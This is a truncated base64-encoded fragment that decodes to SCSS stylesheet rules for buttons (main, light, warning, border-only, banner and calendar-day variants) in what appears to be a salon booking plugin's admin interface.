5zcGFyZW50O1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbm90b2soMSk7XG4gICAgICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoMSk7XG4gICAgICAgIGZvbnQtc2l6ZTogMS40cmVtO1xuICAgICAgfVxuICAgICAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAgICAgJjpob3ZlciB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjIpO1xuICAgICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1ub3RvaygwLjgpO1xuICAgICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4uc2xuLWJ0bi0tYmFubmVyX19jdGEge1xuICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sgIWltcG9ydGFudDtcbiAgd2lkdGg6IDEwMCU7XG4gIHBhZGRpbmc6IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSg0MHB4KTtcbiAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDcycHgpO1xuICBsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg3MnB4KTtcbiAgbWF4LXdpZHRoOiAzNzVweDtcbiAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDMyMHB4KTtcbiAgQGV4dGVuZCAlZm9udC1iaWdnZXI7XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIGJveC1zaGFkb3c6IG5vbmU7XG4gIG91dGxpbmU6IG5vbmU7XG4gIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICBwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNDBweCk7XG4gICAgaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICAgIGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDkwcHgpO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyMXB4KTtcbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDU2cHgpO1xuICAgIC8vbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNTZweCk7XG4gICAgbWluLXdpZHRoOiBzZXR0aW5ncy1taXhpbnMucmVtKDI0MHB4KTtcbiAgICBmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMjFweCk7XG4gIH1cbiAgJi5zbG4tYnRuLS1ibG9jayB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gIH1cbn1cbi8vIENPTE9SU1xuI3Nsbi1zYWxvbi0tYWRtaW4ge1xuICAuc2xuLWJ0bi0tbWFpbixcbiAgLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW1haW4ge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigxKTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICAgICY6aG92ZXIsXG4gICAgJjpmb2N1cyB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIC5idG4sXG4gICAgICBpbnB1dCxcbiAgICAgIGJ1dHRvbiB7XG4gICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgICAmOmhvdmVyLFxuICAgICAgICAmOmZvY3VzIHtcbiAgICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi1idG4tLXNtYWxsLnNsbi1idG4tLWljb24ge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXM7XG4gICAgICB9XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAgICY6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgICAgIH1cbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1idG4tLW1haW4tLXRvbmFsLFxuICAuc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tbWFpbi0tdG9uYWwge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjIpO1xuICAgIC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLW1haW4tLWxpZ2h0KDEpO1xuICAgIGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4tLWRhcmsoMSk7XG4gICAgYm9yZGVyLXN0eWxlOiBzb2xpZDtcbiAgICBib3JkZXItd2lkdGg6IDFweCAycHggMnB4IDFweDtcbiAgICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICAgIH1cbiAgICAmOmhvdmVyLFxuICAgICY6Zm9jdXMge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDAuMik7XG4gICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgICAgYm9yZGVyLWNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMSk7XG4gICAgICAuYnRuLFxuICAgICAgaW5wdXQsXG4gICAgICBidXR0b24ge1xuICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgICAgICAmOmhvdmVyLFxuICAgICAgICAmOmZvY3VzIHtcbiAgICAgICAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLWJ0bi0tc21hbGwuc2xuLWJ0bi0taWNvbiB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICY6YWZ0ZXIge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcztcbiAgICAgIH1cbiAgICAgICY6aG92ZXIge1xuICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICAgICAgJjphZnRlciB7XG4gICAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLW1haW4yNSxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1tYWluMjUge1xuICBib3JkZXItcmFkaXVzOiA2cHg7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluLS1kMTtcblx0ICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1tYWlubWVkaXVtLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW1haW5tZWRpdW0ge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuYWxwaGEtdG9uZXMoXG4gICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1lbXBoYXNpcyxcbiAgICAwLjg1XG4gICk7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xufVxuLnNsbi1idG4tLWxpZ2h0LFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWxpZ2h0IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgaW5wdXQsXG4gIGJ1dHRvbiB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLWFjdGl2ZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gICAgJjpob3ZlcixcbiAgICAmOmZvY3VzIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgaW5wdXQsXG4gICAgICBidXR0b24ge1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgfVxuICAgIH1cbiAgfVxuICAmLnNsbi1idG4tLXNtYWxsLnNsbi1idG4tLWljb24ge1xuICAgIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICAgICY6YWZ0ZXIge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG4gICAgfVxuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgICAmOmFmdGVyIHtcbiAgICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1kX21haW4tLW5vYmtnLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWRfbWFpbi0tbm9ia2cge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIH1cbiAgJjphZnRlciB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICB9XG4gIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSwgKC1tcy1oaWdoLWNvbnRyYXN0OiBub25lKSB7XG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgJjphZnRlciB7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS13YXJuaW5nLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXdhcm5pbmcge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3dhcm5pbmc7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLXByb2JsZW0sXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tcHJvYmxlbSB7XG4gIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tYmcoMSk7XG4gIGNvbG9yOiBjb2xvcnMtbnUuc2xuLWFkbWluX251Y29sb3ItLXByb2JsZW0tLWRhcmsoMSk7XG4gIGJvcmRlci1zdHlsZTogc29saWQ7XG4gIGJvcmRlci13aWR0aDogMXB4IDJweCAycHggMXB4O1xuICBib3JkZXItY29sb3I6IHRyYW5zcGFyZW50O1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1wcm9ibGVtLS1kYXJrKDEpO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tYmcoMSk7XG4gICAgY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyaygxKTtcbiAgICBib3JkZXItY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbSgxKTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tcHJvYmxlbS0tZGFyaygxKTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1vayxcbi5zbG4tYm9vdHN0cmFwIC5zbG4tYnRuLS1vayB7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfb2s7XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgfVxuICAmOmhvdmVyLFxuICAmOmZvY3VzIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgaW5wdXQsXG4gICAgYnV0dG9uIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1idG4tLXRleHRvbmx5LFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXRleHRvbmx5IHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnVfbWFpbi0tbGlnaHQ7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICBAbWVkaWEgKGhvdmVyOiBob3ZlciksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICY6aG92ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICB9XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJ0bi0tdGV4dG9ubHktLWVtcGgsXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tdGV4dG9ubHktLWVtcGgge1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9udS0taGlnaGVtcGhhO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoYmtnLFxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLXRleHRvbmx5LS1lbXBoYmtnIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbnUtLWhpZ2hlbXBoYTtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgQG1lZGlhIChob3ZlcjogaG92ZXIpLCAoLW1zLWhpZ2gtY29udHJhc3Q6IG5vbmUpIHtcbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLWJvcmRlcm9ubHksXG4uc2xuLWJvb3RzdHJhcCAuc2xuLWJ0bi0tYm9yZGVyb25seSB7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0LS1ib3JkZXI7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJi5zbG4tYnRuLS1iaWdnZXIge1xuICAgIGJvcmRlcjogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjc1KTtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuICB9XG4gICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmLnNsbi1idG4tLWFjdGl2ZSB7XG4gICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJvcmRlci1jb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluLS1kYXJrKDEpO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbi0tZGFyaygxKTtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1ib3JkZXJvbmx5LS13LFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWJvcmRlcm9ubHktLXcge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB9XG4gIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgJi5zbG4tYnRuLS1hY3RpdmUge1xuICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYm9yZGVyLWNvbG9yOiB0cmFuc3BhcmVudDtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1lbXBoYXNpcztcbiAgICB9XG4gICAgJi5zbG4tYnRuLS1pY29uOmFmdGVyIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJHNsbi1jb2xvci0tZW1waGFzaXM7XG4gICAgfVxuICB9XG59XG4uc2xuLWJ0bi0tYm9yZGVyb25seTI1LFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLWJvcmRlcm9ubHkyNSB7XG4gIGJhY2tncm91bmQtY29sb3I6IHRyYW5zcGFyZW50O1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfZF9tYWluO1xuICBib3JkZXItcmFkaXVzOiA2cHg7XG4gIGlucHV0LFxuICBidXR0b24ge1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJi5zbG4tYnRuLS1pY29uOmFmdGVyIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICYuc2xuLWJ0bi0tYWN0aXZlIHtcbiAgICBib3JkZXI6IDFweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbiAgJjpob3ZlcixcbiAgJjpmb2N1cyB7XG4gICAgYm9yZGVyLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIGlucHV0LFxuICAgIGJ1dHRvbiB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gICAgJi5zbG4tYnRuLS1pY29uOmFmdGVyIHtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgIH1cbiAgfVxufVxuLnNsbi1idG4tLW5vYmtnLFxuLnNsbi1ib290c3RyYXAgLnNsbi1idG4tLW5vYmtnIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7XG4gIGJvcmRlcjogMXB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICBpbnB1dCxcbiAgYnV0dG9uIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgfVxuICAmLnNsbi1idG4tLWFjdGl2ZSB7XG4gICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICB9XG4gICY6aG92ZXIsXG4gICY6Zm9jdXMge1xuICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICBpbnB1dCxcbiAgICBidXR0b24ge1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgfVxuICAgICYuc2xuLWJ0bi0taWNvbjphZnRlciB7XG4gICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICB9XG4gIH1cbn1cbi5zbG4tYnRuLS1iYW5uZXIsXG4uc2xuLWJ0bi5zbG4tYnRuLS1iYW5uZXIge1xuICB3aWR0aDogMTAwJTtcbiAgbWluLXdpZHRoOiAwO1xuICBoZWlnaHQ6IGluaXRpYWw7XG4gIHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG4gIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgyNHB4KTtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZ3JlZW47XG4gIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAmOmhvdmVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX29rO1xuICB9XG59XG4uc2xuLWJ0bi0tY2FsLWRheTpub3QoLnNsbi1pY29ub25seS1uZXcpIHtcbiAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kc2xuLWNvbG9yLS1idG4tY2FsLWRheS1iZztcbiAgYm9yZGVyLXJhZGl1czogNTAlO1xuICB3aWR0aDogNTBweDtcbiAgaGVpZ2h0OiA1MHB4O1xuICBtYXJnaW4tcmlnaHQ6IDEwMHB4O1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogNTAlO1xuICByaWdodDogMDtcbiAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAmOmhvdmVyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG4gIH1cbn1cblxuLmF0dC10aW1lLXNsb3QuYWN0aXZlICAuc2xuLWJ0bi0tY2FsLWRheS5zbG4taWNvbm9ubHktbmV3IHtcbiAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX2JnLS1tYWluLS1saWd